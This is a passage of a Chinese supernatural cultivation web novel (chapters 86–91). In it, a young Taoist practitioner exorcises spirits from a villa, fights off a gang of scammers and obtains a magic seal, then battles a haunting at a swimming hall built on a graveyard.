一进别墅我就催动道力,双眼用力,一层的怨气还有,但是就那么三两个了。
再往上走,二层也一样。等到了三层,推开了云紫怡的卧室,那满屋子的怨气密密麻麻的,一个个凶神恶煞地盯着地上。
而昨天还满脸不屑的刘波,此刻躺在那地上,浑身哗啦啦地冒冷汗。那精炼的体质,一夜间如皮包骨,小脸煞白,完全没有一点的精神。
“他。”云紫怡不可置信的看着我。
结果没等我开口,那刘波见到我,连滚带爬的过来,“大师,我错了,救救我,我受不了了。我真的受不了了。”
……
第八十六章又遇骗子团伙
“你不是六七年没有生过病了吗?”我面无表情。
原本我没想折腾他,但这个刘波无缘无故跳出来针对我,那我不能忍。
这口气不除,我觉得道心不顺。
刘波狠狠地咽了口吐沫,被我怼得无地自容。
“这屋子的怨气还是很多,你还要留三个晚上。”我平静道。
扑通。
刘波吓得直接跪在那了,一个劲儿地给我磕头,“大师,我会死的,求您了,饶恕我的无知。太痛苦了,从昨天晚上开始,我被那些东西弄来弄去的。他们把我从床上折腾到床下。我身上一会冷一会热,太难受了。”
我心里面笑了,这些玩意一个两个的倒是没多大事,顶多是伤风感冒。这一屋子,少说百十来个,折腾你那还不跟玩一样?
我说,“真知道错了?”
刘波点头,“真的,真知道错了,大师,您是真大师,这屋子有东西。云小姐,我拿我爹妈作保证,这屋子里真有东西。”
此刻的云紫怡也吓得脸色发白,她看我的眼神也变得清澈了。
我没在理会他们,看了看那满屋子的怨气,我的目光沉了下来说道,“尘世间有愿力,也有怨气。哼,愿力被那满天神佛,道统世家所用。怨气却无人安抚,你们本不该存在,都散去吧。”
说完,我催动道力,大手一挥动,一侧的怨气灰飞烟灭。
屋里面瞬间就亮堂了一大半。
这些怨气本来就是人的一口气所形成的,倒是很好清理。我又一挥手,另一侧的怨气也都没了。
随后,我在别墅里仔细的转了一圈,直接把这些怨气都给清完了。
“云小姐,你的事解决了,我该走了。”别墅门口,我清理掉了最后一团怨气,整个别墅一下子就阳光浓郁了。
“啊?”云紫怡奇怪地看着我,“不需要再让人吸那怨气了吗?”
我却笑着说道,“云小姐,本来也不需要吸那怨气。”
云紫怡睁大眼睛,“所以,你是故意折腾他的?”
我笑道,“彰显实力罢了。”
说完我就走了。
从云紫怡的别墅离开之后,我这兜里有了二百块,本想着去找黎雅,谁知道坐公交的时候,路上碰到了那个军大衣老头。
他跟他的团伙,又拿了那瓶盖在那骗人呢。而公交车上的其他人,一个个也都盯着那瓶盖眼红。
还是那套话术,但他们配合得天衣无缝,眼看着被骗的人要掏钱了。
我笑眯眯地说道,“他们是骗子,那瓶盖是假的。”
军大衣老头和他的团伙看向我,皱了皱眉头。但随,一个个地面露意外之色。
谁知道这几个骗子没说话,被骗的人倒是问我,“啥,怎么能是骗子呢?那瓶盖上写着中奖一万块呢。”
一直以来都宣传‘天上不会掉馅饼’这种事,但偏偏有人往里面钻。
说实话,要不是我跟这个团伙有恩怨,他被骗不被骗,跟我都没有任何关系。
我面无表情的说道,“那你问问他们,这奖在哪兑换?”
听我这么一说,被骗这人突然拍了一下大腿,“对啊,去哪兑换啊?”
骗子也是一怔。
我冷笑,我也是在知道这伙人是骗子之后才回过味来,他们的骗术很高明,几个人配合得也很默契。但也有漏洞,他们围绕着中奖做圈套,却把中奖地点这种细节给忽略了。
几个骗子不说话了,被骗的人也不傻,扑棱站起来躲到了一边。之前那些眼红的乘客也都一脸的嫌弃。
“艹!”其中一个青年骗子面子挂不住了,从兜里掏出一把小刀就冲我来了。
在看车上的这些乘客,一个个捂紧了钱包,把头扭过去,一副事不关己的样。
“妈的,坏我们好事,停车,给我停车!要不然我弄死你们!”随着司机把车停了下来,我被几个骗子用刀架着脖子下了车。
全程没一个帮我说话。
这地方是个桥下,周围看不到人,那穿军大衣的老头凶狠地盯着我,“年轻人,你特么的想死是吧?你去打听打听,在帝都这一块,谁敢惹我丰区老狠头?啊?艹了,给我招待他!”
说完,几人把我往桥洞子那推,然后直接动手。
我冷冷地扫了他们一眼,那个拿刀的人直接往我肚子上扎,出手狠辣。
其他人则是捡砖头,棍棒,朝我脑袋上招呼。
很显然,这些人不是第一次做这种事。
我冷笑,在那刀子要扎到肚子上的瞬间,一把抓住了他的手腕,不等他反应过来,扭断了他的手腕。
啊!
那人的惨叫声。
但还没完呢。
我侧身躲过了拍过来的砖头,一拳轰在了那砖头男的肚子上,他蹲在地上疼得起不来了。
接着我抓住了那棒子,单手用力,砰的一声,棒子被我捏成了粉末。
安静!
此刻这桥洞子下一片安静,他们总共六七个人,有男有女。
男的已经倒在地上两个了,狼哭鬼嚎的。
我冲着那手腕被我捏碎的人冷漠地说道,“把嘴闭上,要不然我弄死你。”
这话果然有用,刚才他最凶狠,现在却急忙捂住嘴,不敢发出一点声音。
那老头也傻眼了,但他倒是镇定,突然开口,“南来北往都是客,不知兄弟混何处?”
我冷笑,这是跟我说社会嗑呢?我说道,“老东西,在我们东北有一句话就是,惹了是非,那挨打要立正,所以,少特么跟我扯没用的。”
说完,一只手抓住老头的脖子声音冷漠道,“我钱呢?我东西呢?是不是要给我一个说法?”
这伙人又是骗子又是小偷,着实有些可恨。
把我钱偷得一干二净不说,连买的电话卡都顺走了,以至于我被迫打工,带来了不小的麻烦。
所以对于这群祸害,我也没打算留手,甚至动了杀心。
“师傅!”
“师傅!”
两个女的吓得乱叫。
“别过来。小兄弟,有话好说。”我扼住了这老头的脖子,捏得他脸上青筋暴起,说话都有些费劲了。
这老头应该看出了我的怒火,吓得老脸都白了。
“还跟我打马虎眼是吗?”我冷笑。
“兄弟,那钱分出去了,肯定要不回来了。但我陪你一个东西成不成。法印,我家传的法印!”老头脸红脖子粗,眼神开始对我恐惧了。
法印?
道家三大道器,法印,阴阳旗,玉如意,随便一个拿出来,那都是镇派之宝。他居然有这东西?
我眯了眯眼睛,心里面倒是觉得这老头有些本事了,这是看出了我是修道的了。
所以才拿这法印做噱头的。
“你最好不要骗我。”我说。
……
第八十七章好东西啊
“兄弟,凭你的身手,我敢吗?”老头说软话了。
我放开了扼住老头脖子的手,他大口地喘着粗气,再也不敢在我面前耍小动作。
这边是丰区,老头的家是个叫坟子的城中村。他这一回来,我看到那些村民们对他又敬又怕地打招呼。
我这才知道老头姓吴,大名吴三道,村里人管他叫吴大本事,早年习武的,在这一亩三分地是个狠人。如今人老了被叫老狠头。
老头家在街头,紧挨着户外厕所,门口堆着一人多高的纸壳,看上去像个收破烂的。
跟他进了家,老头也不啰嗦,直接从卧室里拿了个法印出来。
该说不说,老头还挺讲究,那法印被金黄的布包着,生怕磕了碰了的。
我拿了起来,法印四四方方,巴掌大小,上面刻的是麒麟,下面则是用小篆刻的‘五雷斩鬼’四个大字。
道教的五雷斩鬼印?
我心中惊喜,本来觉得这次来帝都一路上都挺倒霉的,又是丢了钱,又是二百块给人看事,结果却塞翁失马,焉知祸福了。
法印种类繁多,除了道教,还有佛教,邪修等等都会制作法印,也因此法印的好坏参差不齐。
其中这五雷斩鬼印,乃是道教最为霸道的法印,能引五雷灭邪祟。
乃是最好的进攻类法印!
想不到被我碰到了。
这玩意要是真的,别说五万了,五十万都买不到的。
当然,还需要验证这法印的真假,另外,我知道的这些事也只是记载,到底好不好用,也需要验证。
我催动道力,双眼用力,但看了半天,却也没看出啥。于是我又把道力注入其中,结果也没有任何动静。
我皱了皱眉头,一时间还真没办法了。
见我拿着不说话,老头应该是怕我不识货,急忙说道,“兄弟,你肯定不是凡人,要不你往上面滴血试试?”
这老头说得我眼前一亮,还别说,道教的法器一般都需要滴血认主这个说法。
我瞥了一眼这老头,这老家伙懂的东西还不少呢。但我没急着动手,而是冷漠地看向他,“要是好东西的话,你应该早就滴血了吧?”
闻言老头尴尬的说道,“兄弟,不瞒你说,我早就试过了,不止是我试过了,我父亲,我爷爷,我们家里人都试过了。但它没反应。”
听他这么一说,我觉得这玩意应该是个老物件。
就在这时,一旁老头的女徒弟说道,“这位大哥,您应该不知道,我师傅的祖先是关将军的校刀手,这东西是从那会传下来的。”
我有些惊讶,这么一算上千年的物件了?虽然她说得有点玄乎,但我觉得还是有点可信度的。
老头也跟着说道,“兄弟,我不瞒着你,家里面传下来的时候确实是这样说的。但几分真几分假我也分不清。我爷爷说,先祖当时跟着冲城,结果被射了一箭。醒来之后他在一个死人的身上捡到的,拿着当宝贝一直传下来的。”
老头越说越玄乎,扯得也越来越远,我总觉得这老东西在那编故事呢。
我也懒得听了,咬破指尖,一滴血滴在了法印上。
嗡嗡嗡。
我听到了有动静。再看老头他们几个人也都死死盯着,但很显然他们不知道发生了啥事。
轰!
但随后,我却惊住了,我的血竟然被这木头疙瘩给吞了进去。接着我脑中有一块巨大的法印在半空中旋转,法印四周有道教的经文,一道五行八卦图若隐若现,散发着雷电。
卧槽!
这,似乎是传说中的‘器灵’?
我捡到宝贝了?
眼下我尽量地保持平静,但内心深处却掀起了惊涛骇浪,不可置信。
这玩意连那方士都只是听过,却从未见过。他甚至都不相信这东西的存在。
有一种说法是,百炼成器,但千年才能生出‘器灵’,因为已经超脱自然范围之内了,这东西是有‘智慧’的,已经是活物了。
“兄弟,你的血,融进去了?”老头睁大眼睛说道,“这,这真是个好东西?”
听了老头的话我回过了神,看着他那震惊的眼神我就明白了,这老东西刚才肯定是编了个故事。
在看他那几个徒弟,眼珠子都快掉出来了,那贪婪的目光,收都收不住。
我眯了眯眼睛,看来还是贼心不死呢!
“收!”我滴了血,所以跟道印心灵相通,知道怎么用它。
其实我不需要念‘收’这个字的,但为了震慑一下这些人这样做了。
随着我心神一动,那法印突然凭空消失了。这下子连我都惊讶了,何况其他人了?好在我感受到了它的存在,它化成了蚂蚁大小,在我丹田中寂静。
“真的假的啊。”老头使劲地揉了揉眼睛。
“东西我收下了,你们好自为之。”说完我就往外走。
“等等。”吴三道突然叫住了我,他那张脸跟吃了苦瓜似的。
“嗯?”我皱了皱眉头,“怎么?你想出尔反尔?”
老家伙被我眼神震慑住了,急忙赔笑道,“没,没有。兄弟,来都来了,留下来吃口饭,交个朋友。”
我冷笑,这老家伙就是后悔了,我冷冷说道,“老东西,你不会以为我会跟一群骗子,小偷交朋友吧?你应该庆幸,这道印救了你们一命。我刚才是想把你们全杀了的。”
看到几人吓得脸色发白,我没再理会,而是大步地离开了。
随后,我就听到院子里传来了无能的狂怒,听声音那吴三道应该是蹦起来了。
他怒吼,“我,我吴三道一把年纪了,哪吃过这种亏啊!谁知道随手坑的东西,竟然是道教的宝贝!啊啊啊!”
女徒弟的声音,“那,师傅,咱们还报复吗?”
吴三道蔫吧了,“哎,报复,拿啥报复?刚才在那下沟,他是真要杀了我。哎,以后见到这个人,你们都放老实点。”
随着我越走越远,至于后来他们说啥我听不到了。我又在附近坐上了公交,想着去黎雅家的大厦找她。
结果,我在大厦门口碰到了黎雅的大哥。跟他聊了两句才知道,他遇到麻烦了。
他接了个项目,在帝都外的燕赵之地盖游泳场,但在施工的时候才发现被坑了。自己的项目经理吃了那边的回扣,选的地是一块坟地。
这边游泳场刚开业,当天就死人了。
……
第八十八章被瞧不起了
事情还要从我到天雷大厦说起,这是我第二次来这,上次还是帮着黎雅降服那降头师呢。
如今那件事已经过去快一年了,天雷大厦人来人往的,哪里像出过事。
我跟前台说找黎雅,她说让我等等,然后打了个电话。
等挂断电话之后,像是个没事人似的,也不搭理我。
我疑惑地问她,“那个黎雅在吗?”
结果这前台撇了撇嘴,“呵呵,人家黎小姐是黎家的千金,也是你说见就见的?”
我皱了皱眉头,“那你刚才打那个电话啥意思?耍我?”
她说,“给你这种乡下来的一点希望。行了,别在这碍眼了,这里是天雷大厦,不是你这种乡下人能来的地方。抓紧走,要不我找保安把你轰出去。”
我看了看自己的穿着,还是从古刹下面出来的那一套,最近因为一直跑古玩市场,也没换衣服,看上去倒是有点脏。
这是把我当要饭的了?
我冷声道,“就算我是个要饭的,你把我赶走不就是了?还用得着打电话羞辱人吗?”
我有些不爽了,狗眼看人低的我见过不少,但在这耍人的倒是很少见呢。
“走不走?”前台说完就叫了保安,我被团团围住了。
见我还没动,前台又说,“哼,你这种臭乡下的我见多了,想见黎小姐?癞蛤蟆想吃天鹅肉?滚吧你!”
看到几个保镖要对我动手,我眯了眯眼睛,突然用灵犀指点穴,他们都定在原地一动不动。
“你,你做了什么!”前台有点傻了。
我没说话,也打算把她定住,结果电梯的门突然开了,七八个人匆匆地走了过来。
而走在最前面的人我还认识,黎雅的大哥黎峰。他的脚步很快,在他的身后那些人前呼后拥的,嘴里面说着什么事,反正看着都挺着急的。
“黎总,黎总,有人闹事!”前台突然喊了一句。
一行人的脚步突然都停住了,朝着这边看了过来。一个半秃的中年人指着前台怒声,“你有没有点眼力见,黎总忙着呢,也是你叫的。”
前台低着头,不敢再乱说话了。而那半秃的中年人似乎火气很大,指着那些保安说,“你们都特么闲的没事干吗?在那杵着干啥呢!还不滚去看门!”
见保安们没动弹,他上去推了一个保安,结果纹丝未动,“这,咋回事?你们中邪了啊!”
前台急忙说道,“副总先生,是他,是他搞的鬼,他把人都定住了。”
半秃中年人这才看向我,狠狠地皱了皱眉头,“你哪来的?搞什么鬼!快点把人给我弄开,要不然我不客气了!”
原本是前台惹的我,结果现在这人更狂,直接用手指点在我胸口上。
然而此刻,我没心情搭理他,看到黎峰朝他走了过去。
而黎峰也认出了我,脸上露出了惊喜。
“小崽子,知道我是谁吗?我是这天雷大厦的副总朱大涛,你特么……”半秃中年跟了上来,狠狠地瞪了我一眼。
不等他把话说完,黎峰突然冷声道,“朱副总,给你介绍一下,这位是我黎家贵客冯宁冯先生。”
朱大涛当场蔫吧下来,那张愤怒的脸突然喜笑颜开,朝我伸手赔笑,“冯先生一表人才,能见到冯先生我三生有幸,您好。”
我无视了朱大涛,而是问了黎雅的情况,这才知道了黎家又出事了,他们选了个地,结果负责人拿了那边的好处,弄了个坟地盖的游泳馆,开业当天就出事了。
此刻,黎雅正在现场处理这件事呢。而他也要赶过去。我本来就是找黎雅的,自然也就跟了过去。但在走之前,黎峰得知前台难为我,直接让那朱大涛把这事处理了。
我心知肚明,那前台肯定是要被开了。但我没有半点同情,我觉得她真的是自找的,没事闲的耍人?活该。
建游泳馆的地方已经出帝都了,但相对而言也不算远。等我下了车就看到门口拉了白色横幅,四周都是殡葬用的花圈。
黎峰跟我打了声招呼,之后去见了谁。
见我来了,黎雅有些惊讶,眼神中带着一丝喜色,朝我走了过来。
“你咋来了?”黎雅问我。
我把事情的经过说了一遍,黎雅白了我一眼,“没钱了,想起我来了?”
我挠了挠头,我俩算是老相识了,但这次也有点尴尬了。确实跟她说的一样。随后她倒是直接,说了这边的事,让我帮忙看看,到时候给我十万。
我本来就缺钱,然后就接了下来。跟着我看到她眼神中有一丝狡黠,我说,“我总觉得被你套路了呢!”
她拿出大哥大在我面前晃悠,“我早就知道你来了,大哥不好意思跟你开口,所以让我请你帮忙。”
我无语了,但想着都是赚钱,倒也没生气。反而看到这白富美那可爱的模样,心里还有点小乐意。
不知道为啥,总觉得自己有点犯贱呢。
我也不废话,直接问她,“说说情况吧。”
黎雅点头,带着我在附近转了转,“死了两个人。一个是晚上打更的,被电死在了收发室。另一个是游泳学员,有人看到他被什么东西拖下了水,等大家把他救上来已经没气了。”
我眯了眯眼睛说道,“闹得很凶啊。”
黎雅深吸一口气,“是啊,家里找了几个看事的都被吓跑了。本来我给你打电话来着,但阿姨说你出远门了,我也就没提这事。另外,这游泳场我们家虽然有投资,但主要负责人是另一方,那边很强硬,不信这些东西,所以就僵住了。”
对此我倒是没啥想法,我想跟她说我也不信,但貌似我说了她也不信。
我看了看跪在门口拿横幅的那些人随口问,“那些都是讨钱的家属?”
黎雅点头,“嗯。本来大哥想着息事宁人,所以找负责人那边聊了,想着多给一些安葬费。结果谈不拢,两家张口就是一百万,一点也不让步。负责人那边生气了,所以一直拖着,弄得有点僵。”
这种事我见怪不怪了,很难说谁对谁错。在我眼里面只能说两边都倒霉。
我运转道力,双眼用力,我想看看有啥情况。结果,我面前居然出现了一堵墙,一堵幽暗的城墙。
这墙我似乎在哪见过?
我突然想起来了,在从三婶娘家走的时候,除了三婶娘那无头的身躯之外,还有一堵把村子围起来的墙。
跟眼前的这一堵墙一模一样!
……
第八十九章被遮眼了
我奇怪,两堵墙之间有什么联系吗?但我看了半天,却没看出个所以然来。
这段时间以来我对知识的掌握越来越多,但等消化后发现,对于修道方面的帮助并不大。
而这堵墙就是我的知识盲区之一。
转了一圈,我也没发现什么可疑的地方,黎雅突然问我,“有发现吗?”
我摇了摇头。
黎雅又说,“要不要进里面看看?”
我点了点头。
黎雅带着我绕开了那些家属,从侧门进去了。
游泳馆很大,上面还标记了深度,还有跑道的米数。
我们先绕到了收发室,她有些忌惮地指着里面说道,“打更老头就是在这电死的。”
我看了一眼,里面用粉笔画了死亡时的状态,我说,“局子来过了吗?”
黎雅点头,“来过了,说是意外死亡。”
我没说话,而是四处地看了看,收发室不大,能有个五平米左右,一把椅子,还有个床,里面还装了饮水机。
但我看了半天,也没发现里面有啥脏东西。要说唯一的感受就是,这里面阴阴沉沉的。
见我摇头,黎雅又带我去了游泳池,这里总共三个大游泳池,他带我去了最里面的那个。
黎雅指着池子里面说道,“人是在这淹死的,十八岁,是个男孩。他是这的学徒,当时……岸边有教练盯着。事后也问教练了,他说他一直盯着了,根本没看到那男孩下水。”
我疑惑,“那个教练说的话可信吗?”
黎雅摇了摇头,“这个我就不清楚了,我也是让公关那边问的,但他们说那教练平时很可靠的。从队里来的,很有实力,应该不会发生这种事。”
我说道,“黎雅,你去把那个教练叫过来。”
黎雅去叫人了,我在附近又查看了起来,还是那种阴阴沉沉的感觉,但一时间没发现啥。
随后我拉了一把椅子坐了下来,我收起了运转的道力,平静地望向水面。
按照黎峰说的,这地方之前是个乱坟岗,所以有着很深的怨气才对。
但看了半天,也没看出个啥来。
扑通。
我正想着呢,突然有东西掉进了水里面,我抬头看去,但那水面平静,没有一丁点的波纹。
我皱了皱眉头,就算我没有亲眼见到那水的波纹,但那跳水的声音我绝不会听错。
有东西!
而且是个大东西。
“冯宁,这位是当时的教练。”很快黎雅带了一个约莫三十岁的中年男人走了进来。
男人国字脸,中等身材,看到我很客气,“您好大师,我当时就坐在您这,因为这边是深水区,所以我一直看着。我就没看到那孩子跳进去,等我发现人的时候,第一时间把孩子捞了上来进行抢救。我真的没看到。”
教练委屈地说道。
我愣了一下,“你是说,你坐在我这个位置上?”
教练点头,“对。”
我又说,“那你有没有听到声音?比如落水的声音,但看过去之后,一片平静。”
教练愣住了,他低头回忆,然后重重地点头,“有。”
黎雅奇怪,“怎么回事?”
我说,“这位教练没有撒谎,他确实看不到那孩子。因为刚才连我也着道了。”
又在游泳馆转了一圈,我跟黎雅说先出去吧。随后我们在附近的餐馆一起吃的饭。
黎雅的大哥也在,他看上去有点憔悴,“冯大师,这事能解决吗?”
我说道,“不好解决,我要是没猜错的话,你们盖的这个游泳池下面有大东西。你们把它压住了。”
黎雅,“什么东西?连你都治不了它吗?”
我面无表情,“这世间万物厉害的东西多了,我又不是神仙,拿不下也正常。”
兄妹俩有些疲惫地看着我,黎峰深吸一口气说道,“那到底是啥?”
我想了想说道,“不知道,想知道是啥,那你只能往下挖,直到挖出来才能知道。但这个过程有风险,弄不好还会死人的。”
我说这话可不是吓唬他们,那教练为啥看不到?那是被东西遮住眼睛了。
我刚才也着道了。
所以一时间我也没啥好办法。
但也不是完全没办法,世间的邪物都怕火,挖出来用火烧了就行。
见我这样说,他俩也都蔫吧了,我倒是有些奇怪地问黎峰,“黎兄弟,这边的事对你很重要吗?”
黎峰犹豫了下,“哎,兄弟,我不瞒着你。损失一些钱倒是没啥,但这个项目很重要,其中涉及了一些人和事。这次我要是解决不好,父亲那边,大伯那边,还有爷爷那边,我都没法交代。”
说实话,黎峰的话我听着比道术都深奥,只能明白个一知半解的。
他大致的意思就是不解决这件事会很麻烦。
随后我想了想,说出了我的疑惑,“黎兄弟,你说的那些东西我不懂。但你不觉得奇怪吗?就算你被自己的人给坑了,在这地方建了游泳场,但在建的时候,难道没有人发现吗?就算传也能传到你耳边吧?到时候找道士做点法师啥的,以你们黎雅的能力,应该不难吧?”
上次天雷大厦出事,黎家花钱号召了一大堆能人异士前来,这次怎么就突然熄火了?
还是说从始至终,黎峰根本一点消息就没得到?
黎峰怔了怔,猛地拍了下大腿站了起来,四周吃饭的人也吓了一跳,齐刷刷地看向了他。
黎峰眼神突然变得凌厉,“对啊,大师说的没错啊,建游泳场的时候,他们连法事都没做。所以说他们都是故意的?”
我又说,“像乱坟岗这种地方,在我们那边怎么着也得找人看看。所以我觉得应该是有人想整你。”
黎峰没说话,看上去有点沉默了。在看黎雅,她的脸色也不是很好。
说实话,我觉得这兄妹俩有点难兄难妹了,一个被下了降头,一个被人整,真是倒霉呢。
我还是本着拿人钱财替人消灾的想法,我看了一眼黎雅说道,“侧门钥匙有吗?”
黎雅点了点头,“我这有。”
我眯眼说道,“放心吧,我这人最公道,拿了你们钱,肯定会想办法的。那东西白天应该不好见,晚上我去一趟。办法,终归能想出来的。”
……
第九十章混乱的空间
拿人钱了,那就给人办事。起码,我觉得应该这样。
吃过饭之后,我拿了游泳馆的钥匙,然后在游泳馆附近转悠。
我催动道力,那堵墙居然不见了?我有些诧异,但眼下我也不知道这墙的来历,它能做什么,所以只能先不管这个。
转了两圈,我又扩大了范围,我的目的很简单,找到跟这坟地有关的事。
你还别说,还真是凑巧,我找到了一座荒废的城隍庙。
城隍庙的门都倒了,走进去,里面的东西横七竖八的,供台还有,但已经被踢翻了。城隍像也被推到了,破烂不堪。
我大致知道是怎么回事,应该是破封建那会弄的。但这地方有点前不着村后不着店的,我有点纳闷,谁会跑过来打砸。
我来这是找线索的,我认为城隍庙应该跟那游泳馆下的乱坟岗有关系。据我知道的,一座城隍庙,方圆二十里都是它的范围。
而那游泳馆也不过一公里左右。
嗯?
我正找着线索呢,门口突然走进来一人,我定睛一看愣住了。
居然老和尚?
“施主,好巧啊。”老和尚微笑跟我打招呼。
我没说话,而是死死地盯着他。因为这老和尚实在是神出鬼没了。
上次那一栋房子,说没就没了?
还有就是东北哈城跟燕赵之地,两者天南地北远着呢,咋就能碰上?
“哈哈哈,施主,看来你对我有防备之心了。”老和尚笑道。
“方丈,你不觉得你突然出现很诡异吗?”我直接道。
“施主,眼见为实就好。”老和尚说道。
“也是,方丈您高深莫测,我也没啥办法。那请问方丈,您这次出现?又是为了啥?”我问。
“施主,我是出家人,不打诳语。我真的是路过此地,感受到了施主的气息,前来看看。你我,缘分很深。”老和尚说完又指向门外的方向,“施主,你是不是在找那里东西的破解之法?”
我惊了,这老和尚难道是我肚子里的蛔虫?他怎么什么都知道?
这让我想到之前那次,他煮了苦茶,帮我调理了浮躁的气息。
“嗯。方丈有办法?”我问。
“施主,那是你未来的因果,你不能碰。”老和尚突然认真道。
“因果?”我奇怪。
“施主,身为出家人,我能看到因果,但看不出是何因果。我来此地只是想提醒你,你身上法印,能保你一命。”老和尚说道。
我愣了愣。
等我再次眨眼,周围的城隍庙突然不见了,我则是站在一片大草甸子上。
太诡异了!
老和尚这次干脆都不装了。
法印?
但也只能保命?
对于那游泳馆下面到底是什么,我也越发好奇了。
说实话,要是老和尚不出现,我见到情况不对保证就撤了。
但现在,因为太好奇了,我在天黑之后从侧门摸进了游泳馆。
我催动道力,‘行’字步直接摸进了收发室。
轰!
这次我刚到地方就看到了一道人影,那是个上了年纪的老头,穿着个保安服,坐在那椅子上晃来晃去。
怨气?
不是!
人?
也不是!
要是我没猜错,这老头就是那个打更的!
扑通!
随后我听到了游泳馆里有跳水的动静。
只见那老头突然就睁开了眼睛,机械似的站了起来,嘴里面还念叨着,“谁,是谁,谁。”
我吸了口气,躲避着他的视线,而他也像是没有看到我一样,在附近乱窜。
随后,他从我身旁路,这下子我完全看清楚了,这老头确实不是啥怨气,因为它是一具尸体!
眼珠子凸出来,身上散发着臭味,正在找着啥东西的尸体。
“是你啊!你是谁!”我觉得有些惊悚,好在忍住了那种恐惧,结果这老头的尸体突然转身,一双眼睛直接瞪了出来,朝我扑了过来。
我往后退了两步,它扑了个空,我催动道力,一道道力打了过去。
呼的一声。
老头化成了灰烬。
我眯了眯眼睛,这种情况也是第一次碰到,难免有些不适应。
随后我听到了游泳馆有动静,也跟着摸了过去。
扑通扑通!
游泳池深处,有一道身影扑腾,又往前走了两步,我看到那游泳池深红色,像是一滩血似的。
紧接着一只手突然搭在了游泳池岸上。
那是一只女人的手?
我深吸一口气,并不是因为这只手,而是在我肩膀上有一只手搭在了上面。
余光中,这也是一只女人的手,白嫩细长,但给人的感觉有点白得过分了。
此刻我的心跳加速,修道一年多了,我的实力突飞猛进,但眼下我却一动不敢动。它给我的压力太大了。
从它出现到那只手搭在我肩膀上,我没有一点的察觉。
眼下,她的手蒙在了我的眼睛上,冰冰凉凉的,像是死人的手。
我尽量镇定,我不能坐以待毙,想到了老和尚的话,我突然想到了那法印。
我心神一动,那法印从我丹田中飞出,原本手掌大小的法印,突然如一座小山腾空而起。
一道道金光流转,雷声震动。
啊啊啊!
我听到了嘶吼声,接着那蒙住我眼睛的手缩了回去,四周突然安静了下来。
法印还悬在半空中,但游泳池中的血水不见了,那只手也没了踪影。
随后一道月光从天窗上射下,那水中泛起了白光。
接着我用力地揉了揉眼睛,有些不可思议,因为我看到了一女子坐在池边,手里拿着一本书静静地看着。
我能感受到她的气息。
她也是个方士,而且是个非常强大的方士。此刻,她在坐忘读书!
我心脏在狂跳,有种流浪的野狗碰到了族群的激动。
而后我突然意识到了一丝不对,这女人的出现,貌似跟刚才的那只手没啥关系?因为她根本不怕法印。
我猛地睁大眼睛,要是我没猜错的话,她是不是人不一定,但肯定是虚间的生灵。而她在的那地方,那就是虚间!
然而,此时此刻我却顾不上激动,我脑子有些混乱,但很快就平静了下来。我想到了老和尚说的话,法印也只能保我一命。
也就是说,那只手还会出现?我深吸一口气,它给我的压迫感太大了,我运转道力直接跑了。
等我从游泳馆里出来,才发现天已经蒙蒙亮了。我再看去,那游泳馆的玻璃上贴着一张女人狰狞的脸,她那双手我认得,正是蒙住我眼睛的那一双。她在死死地盯着我。
“她要弄死我?”我有一种感觉,要不是我当机立断跑得快,就算有法印也顶不住。
“维度混乱了?”我突然意识到刚才可能发生了好几件事。
那只女人的手想把我拖进某个空间,在她蒙住我眼睛的时候,我听到了河水的声音,那是摆渡河。再说另外那个坐忘的女人,我想的肯定没错,她是虚间的生灵,我能感受到她的气息,就说明我们在一个维度。
虚空的维度似乎乱了。我很震惊,我竟然同时深处阳间,阴间,虚间三个空间之中。
三个空间竟然重叠了!
“妈的,你还真想弄死我是吧!好,很好,你这东西在这作祟是吧!老子知道咋弄你了!”眼下我也没心情想太多,我也咬了咬牙,想到那东西真想弄死我就火大。
虽然不知道是个啥玩意,但我有办法了。至于这办法能不能用,那就看黎家了。
……
第九十一章撕皮
天蒙蒙亮,游泳池窗户前那道身影也随之消失了。我在昨天吃饭的那地方找了个早餐店,吃了包子和豆浆,之后见到了黎雅和黎峰。
我说了我的办法,兄妹俩都看向了我。
黎雅说,“你说用大炮轰?”
我点头,“准确的说是震慑,邪祟怕雷电,火药的响声震耳欲聋,轰个两三个小时就行。两三个小时不够,那就十来个小时。”
说实话,我拿里面的东西也是没招了,所以想到了陆小旺的话。
还有就是陆老爷子那笔记有过记载,火药属于至阳之物,这东西比佛光都管用。量足够大,别说邪祟了,啥玩意都能镇得住。
黎峰沉思了下,“好,冯大师,那我就试试。”
接着也不知道是不是巧合了,在下午的时候那边突然炮队拉练。从中午十二点,大炮的响声就没停过。直到晚上六点半这才结束。
后来我也问过黎雅这事,黎雅跟我说是巧合,原本他大哥准备了十万块的炮仗的,最后都没用上。
等到晚点的时候,我大着胆子又摸进去了游泳馆,这天都黑了,但里面却特别的敞亮。
真的啥都没有了,连那种阴阴沉沉的气息都没了。我感触很深,还是陆小旺这一招有用啊。就是不知道这招能不能镇得住那山尸?
还有大姑娘乡那井下的东西!
正想着呢,我突然有了新的发现,我竟然看到游泳馆的四周活灵活现地出现了一个图腾。
那图腾下摆着祭品,图腾上冒着仙气。我走上前去伸手,但却碰不到这图腾。
“这到底是个什么地方,又是那坐忘的女人,又是能看到这图腾的。连大炮都镇不住他们?”我很疑惑。
如今昨晚想弄死我的那东西确实不见了,但这个跟海市蜃楼一样映射的画面却还存在。
看样子还不是一个地方?又是虚间吗?我心里面也开始不确定了。
游泳馆里那杀人的东西没了,我从黎雅那拿到了十万块,虽然这边的事还是有些诡异,但也算是结束了。
眼看要十一月份了,但我没急着回家,倒是在黎雅家的别墅住了下来,跟着她在帝都好好的玩了几天。
而这些天来,黎雅家的富有也是让我涨了见识。一顿早餐就能花上几千块,说是从国外空运来的。喝的水也是什么老泉水,说是延年益寿,一瓶就要两千块。
我跟她还逛了个国际商场,一个包明码标价二十万,她眼睛都不眨一下就买了。看那个牌子我想了起来,这不就是当初给我装钱的那个牌子吗?
想不到这么贵!
然而这些都还不是让我震惊的,两天前他家的供电出了问题,说是要重新布置别墅的电路。结果我看到他们用的电线都是纯金的线,说是导电好啥的,直接花了上百万。
说实话,虽然俺是修道的,但也被这一幕给震撼到了。而直到后来我们认识久了才知道,这不过是冰山一角。
跟着黎雅体验了一阵子的富人生活,纸醉金迷的,但我不太习惯这种生活,眼下已经进入到十一月份了,我打算回家了。
黎雅说,“真的不在留几天了吗?帝都周边还有很多好玩的地方没带你去呢。”
我摇头,“不留了,感觉没啥意思。还是家里面睡得踏实。”
说实话,这段时间有点玩物丧志了,修炼有点荒废。在待下去,我怕连道术都不会了。
黎雅点了点头,“好吧,那我就不留你这个神仙啦。”
黎雅让人帮我买了回东北的火车票,我在她家别墅又睡了一宿,第二天上午她亲自开车送我去车站。
